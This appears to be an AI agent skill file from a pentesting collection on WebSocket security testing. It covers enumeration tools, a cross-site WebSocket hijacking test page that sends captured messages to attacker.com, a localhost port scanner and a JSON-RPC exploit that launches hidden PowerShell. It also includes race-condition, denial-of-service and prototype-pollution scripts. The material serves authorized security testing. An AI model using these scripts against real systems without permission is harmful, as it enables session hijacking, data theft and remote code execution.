Hacktricks-skills websocket-security-testing
Perform WebSocket security testing including enumeration, fuzzing, CSWSH detection, and vulnerability assessment. Use this skill whenever the user mentions WebSocket testing, real-time communication security, wss/ws endpoints, cross-site WebSocket hijacking, or needs to audit WebSocket implementations for vulnerabilities like race conditions, prototype pollution, or authentication bypass.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/pentesting-web/websocket-attacks/SKILL.MDWebSocket Security Testing
A comprehensive skill for testing WebSocket implementations for security vulnerabilities.
When to Use This Skill
Use this skill when:
- Testing WebSocket endpoints (
orws://
) for security issueswss:// - Auditing real-time communication channels in web applications
- Investigating potential Cross-Site WebSocket Hijacking (CSWSH)
- Fuzzing WebSocket messages for injection vulnerabilities
- Testing localhost WebSocket services exposed by desktop applications
- Analyzing WebSocket race conditions or DoS vectors
Quick Start
# Basic WebSocket connection test websocat --insecure wss://target.com/ws # WebSocket enumeration with STEWS stews --url wss://target.com/ws --scan # Localhost port discovery (Chromium-based browsers) # Run from a malicious page to find exposed WebSocket services
WebSocket Fundamentals
Connection Establishment
WebSocket connections start with an HTTP handshake:
GET /chat HTTP/1.1 Host: target.com Sec-WebSocket-Version: 13 Sec-WebSocket-Key: <base64-random> Connection: Upgrade Upgrade: websocket
Key headers to examine:
: Unique per handshake (not for auth)Sec-WebSocket-Key
: Server's hash responseSec-WebSocket-Accept
: Should be validated by serverOrigin
: Often used for authentication (CSWSH risk)Cookie
Protocol Variants
| Protocol | Description |
|---|---|
| Unencrypted WebSocket |
| TLS-encrypted WebSocket |
| Socket.IO | WebSocket with custom framing ( parameter) |
Enumeration
Manual Discovery
-
Find WebSocket endpoints:
- Search JavaScript files for
new WebSocket( - Look for
orws://
in network trafficwss:// - Check for Socket.IO patterns (
,socket.io
)EIO=
- Search JavaScript files for
-
Use automated tools:
# STEWS - WebSocket vulnerability scanner stews --url wss://target.com/ws --scan # websocat - Raw connection testing websocat --insecure wss://target.com/ws -v
Tools Reference
| Tool | Purpose |
|---|---|
| STEWS | Automated vulnerability scanning |
| websocat | CLI WebSocket client/server |
| Burp Suite | Proxy with WebSocket support |
| socketsleuth | Burp extension for WebSocket history |
| WSSiP | WebSocket/Socket.IO proxy |
| wsrepl | Interactive WebSocket REPL |
| WebSocket Turbo Intruder | High-rate fuzzing |
Cross-Site WebSocket Hijacking (CSWSH)
Detection Checklist
CSWSH is possible when:
- Authentication uses cookies only (no CSRF tokens)
- Cookie has
or is missing SameSiteSameSite=None - Server doesn't validate
headerOrigin - Browser allows third-party cookies
Test Script
Create a test page to check for CSWSH:
<!DOCTYPE html> <html> <head><title>CSWSH Test</title></head> <body> <script> const ws = new WebSocket('wss://target.com/ws'); ws.onopen = () => { console.log('WebSocket connected - CSWSH may be possible'); ws.send('READY'); // Trigger response }; ws.onmessage = (event) => { console.log('Received:', event.data); // Exfiltration test (no-cors mode) fetch('https://attacker.com/collect?d=' + encodeURIComponent(event.data), {mode: 'no-cors'}); }; ws.onerror = (err) => console.error('Connection failed:', err); </script> </body> </html>
Mitigations to Verify
| Protection | How to Check |
|---|---|
| Origin validation | Server rejects requests with mismatched Origin |
| CSRF tokens | WebSocket requires token in message or query param |
| SameSite cookies | Cookies have or |
| Token auth | Authentication via header/token, not cookies |
Fuzzing with Turbo Intruder
Basic Fuzzing Script
def queue_websockets(upgrade_request, message): connection = websocket_connection.create(upgrade_request) for i in range(10): connection.queue(message, str(i)) def handle_outgoing_message(websocket_message): results_table.add(websocket_message) @MatchRegex(r'{"user":".*"}') def handle_incoming_message(websocket_message): results_table.add(websocket_message)
Socket.IO Fuzzing
Socket.IO requires special handling:
import burp.api.montoya.http.message.params.HttpParameter as HttpParameter def queue_websockets(upgrade_request, message): # Add EIO parameter for Socket.IO connection = websocket_connection.create( upgrade_request.withUpdatedParameters( HttpParameter.urlParameter("EIO", "4") ) ) # Keep session alive connection.queue('40') # Open connection.queue('42["message","hello"]') # Event @Pong("3") def handle_outgoing_message(websocket_message): results_table.add(websocket_message) @PingPong("2", "3") def handle_incoming_message(websocket_message): results_table.add(websocket_message)
HTTP Middleware Pattern
Bridge WebSocket to HTTP for scanner compatibility:
def create_connection(upgrade_request): connection = websocket_connection.create(upgrade_request) return connection @MatchRegex(r'{"user":"You"}') def handle_incoming_message(websocket_message): results_table.add(websocket_message)
Then send HTTP requests:
POST /proxy?url=https%3A%2F%2Ftarget/ws HTTP/1.1 Host: 127.0.0.1:9000 Content-Length: 16 {"message":"test"}
Localhost WebSocket Abuse
Port Discovery
Desktop applications often expose WebSocket services on localhost:
async function findLocalWs(start = 20000, end = 36000) { for (let port = start; port <= end; port++) { await new Promise((resolve) => { const ws = new WebSocket(`ws://127.0.0.1:${port}/`); let settled = false; const finish = () => { if (!settled) { settled = true; resolve(); } }; ws.onerror = ws.onclose = finish; ws.onopen = () => { console.log(`Found WebSocket on port ${port}`); ws.close(); finish(); }; }); } }
JSON-RPC Exploitation
Many localhost services use JSON-RPC:
// Example: CurseForge-style exploitation const ws = new WebSocket('ws://127.0.0.1:PORT/'); ws.onopen = () => { // Step 1: Create resource ws.send(JSON.stringify({ type: 'method', name: 'createModpack', args: {} })); }; ws.onmessage = (event) => { const data = JSON.parse(event.data); if (data.MinecraftInstanceGuid) { // Step 2: Launch with malicious args ws.send(JSON.stringify({ type: 'method', name: 'minecraftTaskLaunchInstance', args: { MinecraftInstanceGuid: data.MinecraftInstanceGuid, AdditionalJavaArguments: [ '-XX:MaxMetaspaceSize=16m', '-XX:OnOutOfMemoryError="cmd.exe /c powershell -nop -w hidden -EncodedCommand ..."' ] } })); } };
Race Conditions
Testing Approach
Use THREADED engine for race condition testing:
# Configure for parallel connections def config(): return { 'engine': 'THREADED', 'concurrency': 100 } def queue_websockets(upgrade_request, message): # Each connection fires independently connection = websocket_connection.create(upgrade_request) connection.queue(message)
Common Race Scenarios
- Double-spend attacks
- Token reuse
- State desynchronization
- Authentication bypass
DoS Testing
Ping of Death
Craft malformed frames to test server resilience:
# Example: Large payload length with no body def queue_websockets(upgrade_request, message): connection = websocket_connection.create(upgrade_request) # Set payload length near Integer.MAX_VALUE # Server may pre-allocate buffer and crash
Warning: Only test with authorization. High-rate fuzzing can cause real DoS.
Other Vulnerabilities
Input Validation
WebSockets can carry the same vulnerabilities as HTTP:
- XSS: Malicious payloads in WebSocket messages
- SQLi: User input in database queries
- Command Injection: Shell commands in message data
- Prototype Pollution:
in JSON messages__proto__
Prototype Pollution Detection
{"__proto__":{"initialPacket":"Polluted"}}
If server behavior changes (e.g., echo includes "Polluted"), prototype pollution is possible.
WebSocket Smuggling
Bypass reverse proxies by faking WebSocket handshakes:
GET / HTTP/1.1 Host: target.com Connection: Upgrade Upgrade: websocket Sec-WebSocket-Key: <key> Sec-WebSocket-Version: 13 [Malformed body to confuse proxy]
Testing Workflow
-
Reconnaissance
- Find WebSocket endpoints in JS files
- Map authentication mechanisms
- Identify protocol (WebSocket vs Socket.IO)
-
Enumeration
- Run STEWS for automated scanning
- Test with websocat for manual exploration
- Capture legitimate traffic for protocol analysis
-
Vulnerability Testing
- Test for CSWSH (cookie auth + no Origin check)
- Fuzz messages for injection vulnerabilities
- Check for race conditions with parallel connections
- Test localhost services if applicable
-
Documentation
- Record all findings with evidence
- Include reproduction steps
- Suggest mitigations
Safety Guidelines
- Authorization required: Only test systems you own or have permission to test
- Rate limiting: High-rate fuzzing can cause DoS
- Malformed frames: May crash servers
- Data handling: WebSocket messages may contain sensitive data